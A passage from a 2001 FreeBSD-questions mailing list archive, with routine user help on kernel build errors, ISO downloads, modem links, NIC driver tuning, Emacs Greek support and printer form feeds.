umass.o(.text+0x1296): undefined reference to `xpt_bus_register' umass.o(.text+0x12a6): undefined reference to `cam_simq_free' umass.o: In function `umass_cam_rescan_callback': umass.o(.text+0x12bf): undefined reference to `xpt_free_path' umass.o: In function `umass_cam_rescan': umass.o(.text+0x1309): undefined reference to `xpt_periph' umass.o(.text+0x1312): undefined reference to `xpt_create_path' umass.o(.text+0x1325): undefined reference to `xpt_setup_ccb' umass.o(.text+0x1340): undefined reference to `xpt_action' umass.o: In function `umass_cam_detach_sim': umass.o(.text+0x13f7): undefined reference to `xpt_bus_deregister' umass.o(.text+0x1415): undefined reference to `cam_sim_free' umass.o: In function `umass_cam_detach': umass.o(.text+0x1456): undefined reference to `xpt_create_path' umass.o(.text+0x1477): undefined reference to `xpt_async' umass.o(.text+0x147f): undefined reference to `xpt_free_path' umass.o: In function `umass_cam_action': umass.o(.text+0x179d): undefined reference to `xpt_done' umass.o(.text+0x17ad): undefined reference to `xpt_done' umass.o: In function `umass_cam_cb': umass.o(.text+0x18a1): undefined reference to `xpt_done' umass.o: In function `umass_cam_sense_cb': umass.o(.text+0x1918): undefined reference to `xpt_done' umass.o(.text+0x1929): undefined reference to `xpt_done' *** Error code 1 Stop in /usr/obj/usr/src/sys/MYKERNEL. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. --------------F58641E89A8E5F4A1CB8948D-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 3:23:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by hub.freebsd.org (Postfix) with ESMTP id 8C38C37B416 for ; Fri, 23 Nov 2001 03:23:13 -0800 (PST) Received: from user-112vp95.biz.mindspring.com ([66.47.229.37] helo=FRANKENFURTER) by hall.mail.mindspring.net with esmtp (Exim 3.33 #1) id 167EQJ-0006sb-00; Fri, 23 Nov 2001 06:23:12 -0500 Date: Fri, 23 Nov 2001 03:29:18 -0800 From: Brian Sobolak X-Mailer: The Bat! (v1.51) Personal Reply-To: Brian Sobolak X-Priority: 3 (Normal) Message-ID: <11861148757.20011123032918@mindspring.com> To: "Koeller, Manfred" Cc: questions@freebsd.org Subject: Re: AW: Release 4.4 not downloadable In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi Friday, November 23, 2001, 2:59:09 AM, you wrote: KM> -----Ursprüngliche Nachricht----- KM> Von: Brian Sobolak [mailto:sobolak@mindspring.com] KM> Gesendet am: Freitag, 23. November 2001 12:01 KM> An: Koeller, Manfred KM> Cc: 'freebsd-questions@FreeBSD.ORG' KM> Betreff: Re: Release 4.4 not downloadable KM> hi KM> Friday, November 23, 2001, 2:31:06 AM, you wrote: KM>> Hi folks, KM>> just a question: I tried to download release 4.4 but the server said: KM> The KM>> file has moved to another location. There seems to be no ISO image for KM> 4.4 KM>> on your site. KM>> What 's wrong? KM> Um, what server did you try to FTP the release from? KM> brian KM> The error message is the same on all the servers on your website. 4.3 is KM> there, but not 4.4 Hmm - are you confused perhaps because it's a directory and not a file? (I used a German server because it seems that's where you're located.) Here are the steps I took: $ ftp ftp.freebsd.de ftp> cd /pub/FreeBSD/ISO-IMAGES-i386/4.4 ftp> ls 227 Entering Passive Mode (212,122,128,32,151,212) 150 Opening ASCII mode data connection for /bin/ls. total 5484854 -rw-r--r-- 1 1011 0 627048448 Sep 19 07:49 4.4-disc2.iso -rw-r--r-- 1 1011 0 658374656 Sep 19 03:58 4.4-disc3.iso -rw-r--r-- 1 1011 0 667090944 Sep 18 20:05 4.4-disc4.iso -rw-r--r-- 1 1011 0 667222016 Sep 22 02:36 4.4-install.iso -rw-r--r-- 1 1011 0 187072512 Sep 22 03:17 4.4-mini.iso -rw-r--r-- 1 1011 0 276 Sep 22 16:03 CHECKSUM.MD5 -rw-r--r-- 1 1011 0 1677 Sep 19 04:46 README.TXT 226 Transfer complete. brian -- Got work? http://www.planetshwoop.com/resume/ This is how I think: http://www.planetshwoop.com/blog/ Brian Sobolak sobolak@mindspring.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 3:51:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 1E81F37B419 for ; Fri, 23 Nov 2001 03:51:11 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id DAA18045; Fri, 23 Nov 2001 03:51:02 -0800 Message-ID: <3BFE3817.1020202@owt.com> Date: Fri, 23 Nov 2001 03:50:47 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: =?ISO-8859-1?Q?Jos=E9?= Romildo Malaquias Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Error building custom kernel References: <3BFE3263.1DA8F26A@uber.com.br> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG José Romildo Malaquias wrote: > Hello. > > After installing FreeBSD 4-4 on my Pentium II computer, I am in the > process of configuring the system. In order to have support for ext2 > filesystems and my sound card, I have to compile a custom kernel. After > reading the relevant chapters of the handbook, I have edited a kernel > configuration file and tried building the kernel. Unfortunatly it stoped > with an error message. Being a novice FreeBSD user (althoug having used > Linux for some time now), I am not able to figure out what the problem > is and how to solve it. The kernel configuraion file > (/usr/src/sys/i386/conf/MYKERNEL) and the output of the building command > > # make building KERNCONF=MYKERNEL > > are attached to this message. > > Any clues? > > Romildo > > -- > Prof. José Romildo Malaquias Departamento de Computação > http://iceb.ufop.br/~romildo Universidade Federal de Ouro Preto > romildo@iceb.ufop.br Brasil > romildo@uber.com.br > > # SCSI peripherals > #device scbus # SCSI bus (required) > #device da # Direct Access (disks) > device umass # Disks/Mass storage - Requires scbus and da Out there in the comments, it told you it needs scbus and da but you commented them out above. You need to comment out umass or uncommet scbus and da. Kent -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4: 1:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guard.polynet.lviv.ua (guard.polynet.lviv.ua [217.9.2.1]) by hub.freebsd.org (Postfix) with SMTP id 8D46537B416 for ; Fri, 23 Nov 2001 04:01:29 -0800 (PST) Received: (qmail 42456 invoked from network); 23 Nov 2001 12:01:22 -0000 Received: from dial69.polynet.lviv.ua (HELO s0113001) (217.9.2.69) by 217.9.2.1 with SMTP; 23 Nov 2001 12:01:22 -0000 Message-ID: <000a01c17416$a8530480$450209d9@s0113001> Reply-To: "Mart" From: "Mart" To: Subject: Date: Fri, 23 Nov 2001 14:01:58 +0200 Organization: DoD MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C17427.6AA613A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C17427.6AA613A0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable Hi! I'm realy need your help! In WinNT i always use "RAS serial cable between two PC", because of = leased line and modem does not=20 understand any command (all information for it - it is a data to be = transferred). But now i have FreeBSD 4.3. If i understand right - there is some script = needed. Where can i get it??? (modem - TAINET T-288Cx, and on the other side = WinNT 4.0 as dial-Up server (PPP)) Sory for my bad English and thanks Romen ------=_NextPart_000_0007_01C17427.6AA613A0 Content-Type: text/html; charset="koi8-r" Content-Transfer-Encoding: quoted-printable
Hi!
I'm realy need your help!
In WinNT i always use "RAS serial cable = between two=20 PC", because of leased line and modem does not
understand any command (all information = for it - it=20 is a data to be transferred).
But now i have FreeBSD 4.3. If i = understand right -=20 there is some script needed.
Where can i get it??? (modem - TAINET = T-288Cx, and=20 on the other side WinNT 4.0 as dial-Up server (PPP))
 
Sory for my bad English and = thanks
Romen
------=_NextPart_000_0007_01C17427.6AA613A0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4: 6:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guard.polynet.lviv.ua (guard.polynet.lviv.ua [217.9.2.1]) by hub.freebsd.org (Postfix) with SMTP id 42D5337B405 for ; Fri, 23 Nov 2001 04:06:19 -0800 (PST) Received: (qmail 44479 invoked from network); 23 Nov 2001 12:06:15 -0000 Received: from dial69.polynet.lviv.ua (HELO s0113001) (217.9.2.69) by 217.9.2.1 with SMTP; 23 Nov 2001 12:06:15 -0000 Message-ID: <000e01c17417$56da4720$450209d9@s0113001> Reply-To: "Mart" From: "Mart" To: Subject: Date: Fri, 23 Nov 2001 14:06:51 +0200 Organization: DoD MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000B_01C17428.19568920" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C17428.19568920 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable Hi! I'm realy need your help! In WinNT i always use "RAS serial cable between two PC", because of = leased line and modem does not=20 understand any command (all information for it - it is a data to be = transferred). But now i have FreeBSD 4.3. If i understand right - there is some script = needed. Where can i get it??? (modem - TAINET T-288Cx, and on the other side = WinNT 4.0 as dial-Up server (PPP)) Sory for my bad English and thanks Romen ------=_NextPart_000_000B_01C17428.19568920 Content-Type: text/html; charset="koi8-r" Content-Transfer-Encoding: quoted-printable
Hi!
I'm realy need your help!
In WinNT i always use "RAS serial cable = between two=20 PC", because of leased line and modem does not
understand any command (all information = for it - it=20 is a data to be transferred).
But now i have FreeBSD 4.3. If i = understand right -=20 there is some script needed.
Where can i get it??? (modem - TAINET = T-288Cx, and=20 on the other side WinNT 4.0 as dial-Up server (PPP))
 
Sory for my bad English and = thanks
Romen
------=_NextPart_000_000B_01C17428.19568920-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4:22:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 94CA837B405 for ; Fri, 23 Nov 2001 04:22:48 -0800 (PST) Received: from hades.hell.gr (patr530-b206.otenet.gr [212.205.244.214]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fANCMhY06315; Fri, 23 Nov 2001 14:22:43 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fANCI7G11025; Fri, 23 Nov 2001 14:18:07 +0200 (EET) (envelope-from charon@labs.gr) Date: Fri, 23 Nov 2001 14:18:07 +0200 From: Giorgos Keramidas To: "Anthony D'asero" Cc: freebsd-questions@FreeBSD.ORG Subject: pointers for a freebsd beginner Message-ID: <20011123121806.GB10577@hades.hell.gr> References: <000801c17391$d4917840$0301a8c0@tonyl0hivzdf57> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <000801c17391$d4917840$0301a8c0@tonyl0hivzdf57> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello Anthony, On 2001-11-22 12:11:08, Anthony D'asero wrote: > Hi: I did install the 4.4 version of Linux X86, and after spending 6 > hours trying to get thru LOGIN I get a dollar sign, and nothing > else. I have to assume that you mean version 4.4-RELEASE of FreeBSD and not Linux, since this is a FreeBSD support list :) This dollar sign is the `prompt' for entering commands. The program that prints this dollar sign and lets you enter commands to be run, is called a `shell'. To see the files of the /etc directory you would enter at this prompt: $ ls /etc > What do you use this thing for, it does not seem to be able to do > any thing. Unix shells are very powerful programs. You need to learn the proper commands to give though, before all this seems a bit useful to you :) > Please help me understand, I am lost. > Thank you. > Anthony D'asero You should probably start reading about using Unix for doing every day work. There are hundreds of books and web pages on this topic, and I will not attempt to reproduce them all in a short message. You can do many things to start learning about Unix (and FreeBSD): a) Many useful pointers are available from the http://www.FreeBSD.org/ home page. Follow the "Documentation" link at the left side of the page. b) Search at http://www.google.com/ for "unix introduction" c) Visit your local bookstore and search for introductory Unix books. Ciao, -giorgos PS: Try to send messages with a more descriptive `Subject' line. I customarily delete messages that do not seem interesting. A subject of "any pointers for a beginner in freebsd?" will certainly grab the attention of more people than a simple "?". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4:23: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 299B737B419 for ; Fri, 23 Nov 2001 04:22:51 -0800 (PST) Received: from hades.hell.gr (patr530-b206.otenet.gr [212.205.244.214]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fANCMkY06427; Fri, 23 Nov 2001 14:22:46 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fANBSoK10676; Fri, 23 Nov 2001 13:28:50 +0200 (EET) (envelope-from charon@labs.gr) Date: Fri, 23 Nov 2001 13:28:49 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: Error on xl0 Message-ID: <20011123112849.GA10577@hades.hell.gr> References: <021001c17359$5fa61cd0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <021001c17359$5fa61cd0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-22 14:26:58, Anthony Atkielski wrote: > I've copied the configuration to my own configuration file, so that's not a > problem, presumably. The thing is, now I've changed one of the source files to > redefine an internal parameter ... so how do I keep that change to that > particular source file (/sys/pci/if_xlreg.h), and also make sure that it doesn't > interfere with the standard source? What internal parameter? Perhaps it can be tuned without manually changing the sources every time you update. If it is not tunable and you think that it would be helpful if it was, then you could probably ask that it is made configurable without a kernel rebuild, by submitting a problem report. But all this is probably wrong, since you did not mention what your local changes were :) I keep a few local changes to my kernel in my tree, and I manually apply those after I update my sources, but you will probably hate the manual merging and testing of local changes. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4:23:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id ED71637B425 for ; Fri, 23 Nov 2001 04:23:08 -0800 (PST) Received: from hades.hell.gr (patr530-b206.otenet.gr [212.205.244.214]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fANCMuY06796; Fri, 23 Nov 2001 14:22:57 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAN9xQW09518; Fri, 23 Nov 2001 11:59:26 +0200 (EET) (envelope-from charon@labs.gr) Date: Fri, 23 Nov 2001 11:59:26 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011123095926.GC9269@hades.hell.gr> References: <15355.2770.644343.846234@guru.mired.org> <01e201c17234$24bc2360$0a00000a@atkielski.com> <20011122200153.GB498@hades.hell.gr> <040d01c173b6$1738e010$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <040d01c173b6$1738e010$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-23 01:30:39, Anthony Atkielski wrote: > Thanks. Looks like no dump was saved in my mystery case. I guess it will > remain a mystery. As long as it doesn't happen again, I don't care. A dump is not generated is a `dumpdev' is not defined in rc.conf before the crash happens. The actual code in the kernel that checks is very easy to locate. Grepping for `dumpdev' in /usr/src/sys/kern gives: % grep -l dumpdev * kern_shutdown.c And then a quick glance at kern_shutdown, reveals: 486 static void 487 dumpsys(void) 488 { ... 494 if (dumpdev == NODEV) 495 return; The lines 494-495 are actually very easy to understand, even without me being a kernel hacker of some sort. I love having the source :) Makes me feel so much better. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4:28:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 97AE037B405 for ; Fri, 23 Nov 2001 04:28:08 -0800 (PST) Received: from hades.hell.gr (patr530-b206.otenet.gr [212.205.244.214]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fANCS4Y16939; Fri, 23 Nov 2001 14:28:04 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fANCS4711473; Fri, 23 Nov 2001 14:28:04 +0200 (EET) (envelope-from charon@labs.gr) Date: Fri, 23 Nov 2001 14:28:04 +0200 From: Giorgos Keramidas To: Brian Sobolak Cc: questions@FreeBSD.ORG Subject: emacs and greek support (was: home pc use) Message-ID: <20011123122804.GC10577@hades.hell.gr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-23 03:15:51, Brian Sobolak wrote: > Thursday, November 22, 2001, 11:57:52 AM, you wrote: > > [ talking about Emacs ] > > GK> Sure. It's so customizable, that new users will tend to drown in an > GK> ocean of customizable knobs, in fact. I customarily use emacs to edit > GK> plain text files or C, Perl, HTML, SGML, and a ton of other languages. > > Just out of curiousity, how does it handle Greek? Do you use the same > environment to edit files in English as Greek (e.g. the same binary)? Sure. I use a greek console font on my console, and then fire up emacs with: $ emacs -nw --unibyte By having the following in my .emacs file, I don't even need Mule support to edit Greek text: (standard-display-8bit 128 256) (set-input-mode (car (current-input-mode)) (nth 1 (current-input-mode)) 0) This is not the `official' way of using languages and encodings in Emacs, since in X11 that usually involves Mule and the C-\ commands, but this works nicely on the console and I mostly use FreeBSD on the console :) -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4:31:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 480EC37B405 for ; Fri, 23 Nov 2001 04:31:23 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fANCUxJ03677; Fri, 23 Nov 2001 13:30:59 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <053c01c1741a$b5b711d0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Ted Mittelstaedt" , "Jan Grant" Cc: "setantae" , "questions" References: <007d01c1740a$52cdd280$1401a8c0@tedm.placo.com> Subject: Re: home pc use Date: Fri, 23 Nov 2001 13:30:59 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ted writes: > You can't tell me that most computer users at > the level of FreeBSD usage don't have access > to a string of other systems, and don't have > friends and family that they can borrow stuff > from, and don't know how to take apart their > computer. Well, I don't, except for the last point. > Hell I read in the local paper the authorities are > up in arms about all the old computers and their > toxins that are ending up in the landfill. "Authorities" usually aren't. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4:36:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 327C637B416 for ; Fri, 23 Nov 2001 04:36:45 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fANCZwJ03699; Fri, 23 Nov 2001 13:35:58 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <054501c1741b$67bc3090$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Giorgos Keramidas" Cc: References: <021001c17359$5fa61cd0$0a00000a@atkielski.com> <20011123112849.GA10577@hades.hell.gr> Subject: Re: Error on xl0 Date: Fri, 23 Nov 2001 13:35:58 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Giorgos writes: > What internal parameter? XL_MIN_FRAMELEN > Perhaps it can be tuned without manually > changing the sources every time you update. My impression from what I read on the Web was that this is hardcoded in source. > If it is not tunable and you think that it > would be helpful if it was, then you could > probably ask that it is made configurable > without a kernel rebuild, by submitting a > problem report. I don't know enough about what it does. Apparently the default buffer for a NIC somewhere can occasionally empty before the NIC gets time on the PCI bus again, if someone else is holding the bus and if the buffer is too small. This parameter sets the low threshold for the buffer, and the default is 60. By raising it to 300, supposedly I can avoid tx underrun diagnostic warning messages under load. > But all this is probably wrong, since you did > not mention what your local changes were :) I changed the #define for XL_MIN_FRAMELEN from 60 to 300, in module /sys/pci/if_xlreg.h. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4:38:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 0343637B41B for ; Fri, 23 Nov 2001 04:38:34 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fANCblJ03710; Fri, 23 Nov 2001 13:37:48 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <055c01c1741b$a8e60370$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Giorgos Keramidas" Cc: References: <20011123122804.GC10577@hades.hell.gr> Subject: Re: emacs and greek support (was: home pc use) Date: Fri, 23 Nov 2001 13:37:48 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Now that you mention this, I started wondering: Does FreeBSD (or UNIX in general) support Unicode? ----- Original Message ----- From: "Giorgos Keramidas" To: "Brian Sobolak" Cc: Sent: Friday, November 23, 2001 13:28 Subject: emacs and greek support (was: home pc use) > On 2001-11-23 03:15:51, Brian Sobolak wrote: > > Thursday, November 22, 2001, 11:57:52 AM, you wrote: > > > > [ talking about Emacs ] > > > > GK> Sure. It's so customizable, that new users will tend to drown in an > > GK> ocean of customizable knobs, in fact. I customarily use emacs to edit > > GK> plain text files or C, Perl, HTML, SGML, and a ton of other languages. > > > > Just out of curiousity, how does it handle Greek? Do you use the same > > environment to edit files in English as Greek (e.g. the same binary)? > > Sure. I use a greek console font on my console, and then fire up > emacs with: > > $ emacs -nw --unibyte > > By having the following in my .emacs file, I don't even need Mule > support to edit Greek text: > > (standard-display-8bit 128 256) > (set-input-mode (car (current-input-mode)) > (nth 1 (current-input-mode)) > 0) > > This is not the `official' way of using languages and encodings in > Emacs, since in X11 that usually involves Mule and the C-\ commands, > but this works nicely on the console and I mostly use FreeBSD on the > console :) > > -giorgos > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 4:41: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dot.uber.com.br (ctbcnetsuper-146.ctbcnetsuper.com.br [200.225.201.146]) by hub.freebsd.org (Postfix) with SMTP id A5C1D37B405 for ; Fri, 23 Nov 2001 04:40:57 -0800 (PST) Received: (qmail 31598 invoked from network); 23 Nov 2001 10:36:33 -0000 Received: from ctbcnetsuper-200.ctbcnetsuper.com.br (HELO uber.com.br) (200.225.204.200) by 0 with SMTP; 23 Nov 2001 10:36:33 -0000 Message-ID: <3BFE456B.E9272F17@uber.com.br> Date: Fri, 23 Nov 2001 10:47:39 -0200 From: =?iso-8859-1?Q?Jos=E9?= Romildo Malaquias Organization: UFOP X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.9-13 i686) X-Accept-Language: en MIME-Version: 1.0 To: fcash@bigfoot.com, scottro@despammed.com, leegold@operamail.com, hitmaster2k@yahoo.com, root@krko.minv.sk Cc: freebsd-questions@freebsd.org Subject: Re: Questions regarding FreeBSD installation References: <20011121083337.A3375@darling.home.br> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello. Thanks for the answers. After reading your answers, rereading some stuff on the FreeBSD handbook and experiment with the installation things are clearer now. Romildo -- Prof. José Romildo Malaquias Departamento de Computação http://iceb.ufop.br/~romildo Universidade Federal de Ouro Preto romildo@iceb.ufop.br Brasil romildo@uber.com.br To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 5:47:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from zeus.cairodurham.org (zeus.cairodurham.org [209.23.60.35]) by hub.freebsd.org (Postfix) with SMTP id B75F137B416 for ; Fri, 23 Nov 2001 05:47:51 -0800 (PST) Received: (qmail 50582 invoked from network); 23 Nov 2001 13:47:40 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 23 Nov 2001 13:47:40 -0000 Date: Fri, 23 Nov 2001 08:47:40 -0500 (EST) From: Mike Knichel To: Subject: printing help please? Message-ID: <20011123084616.B50567-100000@zeus> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Does anybody know how to send a form feed to a dot matrix printer following each print job? I have an epson printer and all jobs print right after the previous job without a form feed in between. -- Mike Knichel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 6:59:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from 